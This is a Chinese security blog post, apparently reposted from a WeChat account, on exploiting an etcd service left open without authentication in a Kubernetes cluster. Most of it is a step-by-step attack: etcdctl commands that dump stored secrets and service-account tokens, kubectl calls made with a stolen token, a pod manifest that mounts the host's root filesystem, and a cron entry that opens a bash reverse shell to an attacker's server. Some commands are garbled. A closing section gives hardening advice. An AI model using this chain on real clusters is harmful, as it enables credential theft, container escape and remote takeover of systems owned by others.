与k8s-etcd的一次相遇
前瞻
啥是etcd?
Kubernetes集群内的各种资源及其状态存储在etcd中
分布式键值存储:etcd 提供了一个一致且可靠的键值对数据库,允许集群中的多个节点共享和同步数据。
高可用性:通过使用 Raft 共识算法,etcd 确保了即使某些节点出现故障,数据仍然可以保持一致性和可用性。
API Server 的后端存储:在 Kubernetes 中,etcd 是 API Server 的后端存储,所有集群的数据(如 Pods、Services、ConfigMaps 等)都保存在这里。
etcd有什么风险
启动 etcd 时如果不指定 --client-cert-auth 参数来启用客户端证书认证,并将 --listen-client-urls 修改为监听 0.0.0.0(即所有网络接口),同时没有通过安全组或防火墙规则限制访问,将会导致严重的安全隐患(可以利用etcdctl工具未授权访问etcd服务)。
在安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问(当然可以修改启动yaml设置为内网ip监听,一般业务为了高可用会这样设置,所以内网还是有很大风险可能性的)
默认集群启动需要证书才可以访问:
直接访问会提示如下:
确认漏洞存在
2379端口
或者version(部分情况利用有问题):
漏洞深入利用
明晰思路
etcd漏洞获取一个admin token
->利用etcdctl导出k8s的一些键值对查询api server的地址
->利用token调用api server执行kubectl命令
->启动镜像时将宿主机目录挂载进去
->进入启动的容器逃逸
->恭喜你成为尊贵的master!
查询token
./etcdctl --endpoints=ip:2379 get / --prefix --keys-only | grep/secrets/
选取权限
job-controller-token(create pods)
daemon-set-controller-token(create pods)
deployment-controller-token(list describe pods)
clusterrole-aggregation-controller-token(allor 普通权限)
kube-system/ttl-controller-token(一般可以查看所有node)
dashboard token(可能高权限)
adminxxx token(自定义,一般高权限)
查token具体内容
我选这个只有get pods权限(建议直接冲admin token,后续利用须使用admin token)
./etcdctl --endpoints=ip:2379get/registry/secrets/kube-system/deployment-controller-token-qckdz
保存到data文件里面翻阅api server地址:
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >> output.data'
查询kube-apiserver 地址
搜索advertiseAddress
利用token执行kubectl操作命令
kubectl --insecure-skip-tls-verify -s https://ip:port --token="ey......EZQ4g" get pod
kubectl --insecure-skip-tls-verify -s https://ip:port --token="ey......EZQ4g" get node
列pods实战:
kubectl --insecure-skip-tls-verify -s https://apiserver的IP:6443 --token="eyJ......" get
pods -o wide --all-namespaces
使用--all-namespaces列出非默认的pods(其他命名空间)
执行命令
kubectl --insecure-skip-tls-verify -s https://ip:6443 --token="获取到的token-ey开头的"exec -it pod或者node名字 --sh
利用配置文件挂载启动镜像
echo "apiVersion: v1nkind: Podnmetadata:n name: test123n namespace: defaultnspec:n containers:n - image: 某镜像名字1n name: test123n volumeMounts:n - mountPath: /mntn name: test1n volumes:n - name: test1n hostPath:n path: /n"| kubectl --insecure-skip-tls-verify -s https://ip:6443 --token="eyJ......" apply -f -
利用get pods会看到一个test123在运行了,同样用exec进去。
mnt目录下就是宿主机的目录
docker没有ifconfig、ip a可以看下etc/hosts文件:
计划任务逃逸
需要写入/var/spool/cron/root(centos和ubuntu的具体文件有微小的区别,读者自行尝试)
echo "*/1 * * * * /bin/bash -i >& /dev/tcp/vpsip/vps端口 0>&1" >/mnt/var/spool/cron/root
最后,恭喜你成为尊贵的master!
修复建议
粘贴下gpt的读一读:
1.启用身份验证和授权
· 启用客户端认证:使用 --client-cert-auth 参数强制客户端提供有效的证书进行身份验证。
· 配置 TLS 认证:确保所有通信都通过 TLS 加密,并为 etcd 配置 CA 证书、服务器证书和私钥。
--cert-file=/etc/etcd/pki/server.crt
--key-file=/etc/etcd/pki/server.key
--client-cert-auth
--trusted-ca-file=/etc/etcd/pki/ca.crt
· 设置强密码策略:如果使用用户名和密码认证,确保采用强密码策略。
2. 限制监听地址
· 只监听本地或内部网络接口:不要让 etcd 监听所有网络接口(如 0.0.0.0)。尽量将其限制为本地回环地址 (127.0.0.1) 或受信任的内部网络 IP 地址。
--listen-client-urls=https://127.0.0.1:2379,https://:2379
--advertise-client-urls=https://:2379
3. 使用防火墙规则
· 配置防火墙:使用防火墙规则(如 iptables、安全组)来限制对 etcd 端口的访问,仅允许来自特定 IP 地址或子网的流量。
# Example for iptables
sudo iptables -AINPUT -p tcp --dport2379 -s-j ACCEPT
sudo iptables -AINPUT -p tcp --dport2379 -j DROP
4. 实施最小权限原则
· 最小化访问权限:遵循最小权限原则,确保只有真正需要访问 etcd 的组件和服务拥有相应的权限。避免授予不必要的读写权限。
5. 定期审查和更新配置
· 定期检查配置:定期审查 etcd 的配置文件和启动参数,确保没有不安全的设置。
· 保持软件更新:确保使用最新版本的 etcd 和相关依赖库,及时应用官方发布的安全补丁。
6. 日志监控和告警
· 启用日志记录:确保 etcd 的日志记录功能已开启,并将日志发送到集中式日志管理系统中。
· 设置告警机制:配置告警规则,以便在检测到异常活动时能够迅速响应。
7. 文档和培训
· 文档化安全配置:创建详细的文档,记录如何正确配置 etcd 以保证其安全性。
· 员工培训:对管理员和技术人员进行培训,提高他们对 etcd 安全性的认识。
示例配置
上述部分推荐的安全配置:
etcd
--name example-node
--data-dir=/var/lib/etcd
--initial-advertise-peer-urls=https://:2380
--listen-peer-urls=https://0.0.0.0:2380
--advertise-client-urls=https://:2379
--listen-client-urls=https://127.0.0.1:2379,https://:2379
--cert-file=/etc/etcd/pki/server.crt
--key-file=/etc/etcd/pki/server.key
--client-cert-auth
--trusted-ca-file=/etc/etcd/pki/ca.crt
--peer-cert-file=/etc/etcd/pki/peer.crt
--peer-key-file=/etc/etcd/pki/peer.key
--peer-client-cert-auth
--peer-trusted-ca-file=/etc/etcd/pki/ca.crt
--initial-cluster=example-node=https://:2380
--initial-cluster-token=tkn
--initial-cluster-state=new
参考
https://www.cnblogs.com/Clownwang/articles/16201747.html
监制丨船长、铁子
策划丨Cupid
美工丨molin
原文始发于微信公众号(千寻安服):与k8s-etcd的一次相遇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论